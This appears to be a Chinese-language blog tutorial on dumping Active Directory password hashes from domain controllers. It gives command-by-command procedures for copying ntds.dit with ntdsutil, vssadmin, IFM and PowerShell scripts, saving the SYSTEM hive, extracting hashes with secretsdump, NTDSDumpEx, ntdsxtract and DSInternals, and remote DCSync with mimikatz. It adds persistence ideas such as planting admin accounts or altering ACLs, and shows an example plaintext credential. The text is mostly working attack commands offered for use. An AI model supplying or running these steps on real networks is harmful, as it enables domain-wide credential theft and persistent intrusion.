域内密码抓取技术

一.域控账号密码文件

NTDS.DIT为DC的数据库,内容有域用户、域组、用户hash等信息,域控上的ntds.dit只有可以
登录到域控的用户(如域管用户、DC本地管理员用户)可以访问,为了进一步保护密码哈希值,
使用存储在SYSTEM注册表配置单元中的密钥对这些哈希值进行加密。

位置:C:\Windows\NTDS

如果要读取该文件的内容有以下的几种方式:

1、离线读取,将NTDS文件复制到攻击者的本地,然后使用工具读取
2、在线读取,通过给域控的电脑上传读取的工具,进行在线读取
3、远程读取,不需要上线域控,可以通过Dcsync远程读取

二.使用卷影拷贝提取域控NTDS

1. 卷影技术介绍

从Windows XP SP2和Windows Server 2003开始,微软就向Windows操作系统中引入了一项名叫卷影拷贝的服务(Volume Shadow Copy Service-VSS)。这种服务允许Windows系统以自动或手动的方式对文件或磁盘卷宗的当前状态进行备份(或快照),需要注意的是,在这个过程中,即使
文件处于打开状态下该服务仍然可以直接进行文件备份,Ntds.dit是默认被Windows系统锁定的,想要读取该文件就要利用卷影拷贝服务(Volume Shadow Copy Service,VSS),得到Ntds.dit文件的副本。卷影拷贝服务(VSS)本质上是属于快照技术的一种,主要用于备份和恢复,即使目标文件被处于锁定状态。

关于卷影拷贝的方式有很多,我们介绍几种常用的:

ntdsutil.exe工具

工具介绍:ntdsutil.exe是一个为活动目录提供管理机制的命令行工具,该工具默认安装在
域控服务器上,可以在域控制器上直接操作,2003、2008、2012、2016等,提取NTDS过
程分为3步(工具路径:C:\Windows\System32)

在这里插入图片描述

第一步:创建NTDS快照
命令: 
ntdsutil.exe snapshot "activate instance ntds" create q q
远程桌面本地提取时使用:
ntdsutil.exe snapshot "activate instance ntds" create q Local Destination

在这里插入图片描述
可以看到快照ID是:791a72f8-e7c3-4d22-bf17-ff762cc1de40

第二步:加载快照到磁盘中
命令:
 ntdsutil.exe snapshot "mount {791a72f8-e7c3-4d22-bf17-ff762cc1de40}" q q

在这里插入图片描述
可以看到快照地址是:C:$SNAP_202405132113_VOLUMEC$\

第三步:复制快照中的ntds.dit文件
命令:
copy '快照地址\Windows\NTDS\ntds.dit' 目标地址 
copy C:\$SNAP_202405132113_VOLUMEC$\Windows\NTDS\ntds.dit C:\Users\administrator\Desktop\ntds.dit

在这里插入图片描述

第四步:删除快照
命令:
ntdsutil.exe snapshot "umount {791a72f8-e7c3-4d22-bf17-ff762cc1de40}" "delete {791a72f8-e7c3-4d22-bf17-ff762cc1de40}" q q

未删之前查看目录
在这里插入图片描述
执行命令后
在这里插入图片描述

第五步下载到本地

在这里插入图片描述

vssadmin工具
vssadmin是Windows Server 2008及Windows 7系统以上提供的VSS管理工具,它可以用于
创建或删除卷影副本,列出卷影副本的信息,他需要两步就可以进行提取NTDS文件
在这里插入图片描述

第一步:创建一个C盘快照
命令:
 vssadmin create shadow /for=c:

在这里插入图片描述

第二步:将快照中的NTDS文件进行复制出来
命令: copy  \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy5\windows\NTDS\ntds.dit C:\Users\Administrator\Desktop\ntds.dit

在这里插入图片描述
在这里插入图片描述

最后一步删除快照
命令: 
vssadmin delete shadows /for=c: /quiet

在这里插入图片描述

IFM方式

可以通过创建一个 IFM 的方式获取 ntds.dit,在使用 ntdsutil 创建媒体安装集(IFM)时,
需要进行生成快照、加载、将 ntds.dit 和计算机的 SAM 文件复制到目标文件夹中等操作(目标文件夹一定要为空)

第一步:先到C盘目录创建一个文件夹CS

在这里插入图片描述

第二步:输入命令拷贝
命令:
ntdsutil "ac i ntds" "ifm" "create full c:/CS" q q

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
此方式不仅提取出ntds.dis文件,而且还把破解的密钥文件system.hive一并提取出来了

vssown脚本

vssown 是一个 vbs 脚本,可以创建和删除卷影副本

第一步:启动卷影复制服务
命令: cscript vssown.vbs /start

在这里插入图片描述

第二步:创建一个C盘的卷影副本
命令: cscript vssown.vbs /create c

在这里插入图片描述

第三步:列出当前卷影副本
命令:cscript vssown.vbs /list

在这里插入图片描述

复制文件到指定的目录
命令:copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy7\windows\NTDS\ntds.dit C:\Users\Administrator\Desktop\ntds.dit

在这里插入图片描述

第五步:删除卷影副本
命令:cscript vssown.vbs /delete {481FE674-1E68-4CB3-BB74-E9AE42F9C964

在这里插入图片描述

2.使用脚本工具提取

Copy-VSS.ps1

使用PS脚本可以直接导出
Import-Module .\Copy-VSS.ps1
Copy-VSS

在这里插入图片描述

Invoke-NinjaCopy

Invoke-NinjaCopy也是PS脚本可以直接导出NTDS和system文件
命令:
Import-Module -name .\Invoke-NinjaCopy.ps1 
Invoke-NinjaCopy -Path "c:\windows\ntds\ntds.dit" -LocalDestination "c:\ntds.dit" 
Invoke-NinjaCopy -Path "C:\Windows\System32\config\SYSTEM" -LocalDestination "c:\system.hiv"

三.离线读取NTDS文件中的Hash值

离线一般需要两步:
1、将远端域控的ntds.dit下载到本地,
2、然后利用再在本地进行。
注意:因为 system.hive 里存放着 ntds.dit 的秘钥,所以需要转储 system.hive ,不然没法查看 ntds.dit 里内容
命令如下:
reg save hklm\system c:\windows\temp\system.hive

接下来介绍几种方式来读取里面的内容:

第一种、secretsdump.exe 工具读取

命令:
secretsdump.exe -system system.hive -ntds ntds.dit LOCAL

在这里插入图片描述

第二种、NTDSDumpEx.exe工具读取

命令:
NTDSDumpEx -d ntds.dit -s system -o 1.txt

在这里插入图片描述

如遇导出后1.txt没有内容,可以依照上面教程再重新提取一下ntds.dis文件

第三种、esedbexport工具读取

1、esedbexport是linux下的工具,先要在自己的linux机器上安装(centos)建议在python2环境下运行
命令(要在root权限下运行):
./configure
make
make install
ldconfig

在这里插入图片描述
在这里插入图片描述

2、 提取ntds文件内容
将ntds.dit复制到工具目录下
esedbexport -m tables ntds.dit

在这里插入图片描述

3、安装 ntdsxtract工具
命令:
下载工具
python setup.py build
python setup.py install
注意:如果提示 Import Error: No module named Crypto. Hash,请执行pip install pycryptodome
4、将 ntds.dit. Export 和 SYSTEM 文件放入到 esedbexport工具的文件夹中,然后导出哈希值,最后的结果将保存在 txt 里
命令:
1、python dsusers.py datatable.4 link_table.7 output --syshive system.hive --passwordhashes --pwdformat ocl --ntoutfile ntout --lmoutfile lmout | tee 1.txt 读取用户信息
2、python dscomputers.py datatable.4 computer_output --csvoutfile 2.csv 读取机器信息

第四种、DS Internals工具读取

本工具是PS脚本,使用命令如下:
1、安装DS Internals
Install-Module DSInternals -Force安装方式(5.0版本)
Import-Module .\DSInternals 导入方式(4.0版本)
2、导出 hash,并保存在 txt 文件里
$key = Get-Bootkey -SystemHivePath 'system.hive'
Get-ADDBAccount -All -DBPath 'ntds.dit' -Bootkey $key | Out-File 1.txt

在这里插入图片描述

这里一定要用管理员运行
在这里插入图片描述

四.在线读取NTDS文件中的Hash值

在线的方式就是直接读取,不需要在导出ntds文件到自己的电脑中,直接用工具就可以读
取在线读取需要考虑几个问题:

1、工具是否被杀软杀掉
2、如果域太大读取时间太久容易死机

接下来介绍几个方式在线读取:

第一种:使用MimiKatz

命令:
lsadump::dcsync /domain:hack.com /all /csv(读取所有)
lsadump::dcsync /domain:hack.com /user:administrator(读取单个用户)

在这里插入图片描述
在这里插入图片描述

第二种:QuarksPWDump工具

先要将工具上传到域控上
命令: QuarksPWDump.exe --dump-hash-domain --ntds-file ntds.dit

Ntds这个文件必须先要导出来

在这里插入图片描述

第三种:secretsdump工具

先要将工具上传到域控上
命令: secretsdump.exe 域名/administrator:密码@IP
secretsdump.exe hack.com/administrator:Lyp010822%@192.168.41.10

在这里插入图片描述

第四种: Invoke-DCSync.ps1工具

命令:他是一个PS工具
Import-Module .\Invoke-DCSync.ps1 
Invoke-DCSync

在这里插入图片描述

五.Dcsync原理以及攻击

1.Dcsync原理

什么是Dcsync(domain Controller synchronization )域控同步:在内网中一般不是一个域控,
会有域树或者域森林等,域控之间是要同步数据的,不同的域控15分钟之间要发起一次数据同
步的请求,请求里面就包含同步的数据,这里采用的协议是DRS(目录复制服务),这个就是
DCsync

在这里插入图片描述
要运行这个DRS服务,需要什么用户才能运行呢?

1. Administrators组内的用户
2. Domain Admins组内的用户
3. Enterprise Admins组内的用户
4. 域控制器的计算机帐户

域控本地的Administrator 和 system 也可以!

2.Dcsync攻击:

2015 年 8 月,发布了新版本的 Mimikatz,新增加了 DCSync 功能。该功能可以
模仿一个域控制器,从真实的域控制器中请求数据,例如用户的哈希。该功能最
大的特点就是不用登陆域控制器,即可远程通过域数据同步复制的方式获得域控
制器上的的数据。

关于Dcsync的利用思路

1、找到有权限的用户,从而远程读取域控用户信息,可以进行PTH 黄金 白银票据攻击
2、如果控制了域控,可以在域控添加一个管理员账号从而进行权限维持
3、可以添加一个普通的用户,修改ACL从而实现可以使用Dcsync,进行权限维持

六.利用Dcsync远程读取域控Hash

远程读取是利用dcsync,前提是必须找到拥有运行dcsync的账号,所以读取hash
的步骤是两步:

1、找到拥有dcsync的用户
2、远程读取即可

读取方式一

环境:
DC:administrator
ONE-PC:user

1、mimikatz

命令:
lsadump::dcsync /domain:hack.com /all /csv(读取所有)
lsadump::dcsync /domain:hack.com /user:administrator(读取单个用户)

在这里插入图片描述
在这里插入图片描述
因为ONE-PC是user权限,不能使用DRS协议;

读取方式二

2.secretsdump.exe工具

针对上面ONE-PC用户读取不到,而再之前信息收集或者是通过其他手段获得了DC的密码和基本信息,也可以读取到域内用户的信息!

命令: 
secretsdump.exe 域名/用户名或者hash:密码@IP
secretsdump.exe hack.com/administrator:Lyp010822%@192.168.41.10

在这里插入图片描述

七.利用Dcysnc远程读取明文账号

利用DCSync可以获取明文凭据,这是因为管理员勾选了"使用可逆加密存储密码的属性
在这里插入图片描述
未勾选读取并没有读取到明文密码
在这里插入图片描述
下面测试勾选后
在这里插入图片描述
勾选后要重置密码后才能够生效

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值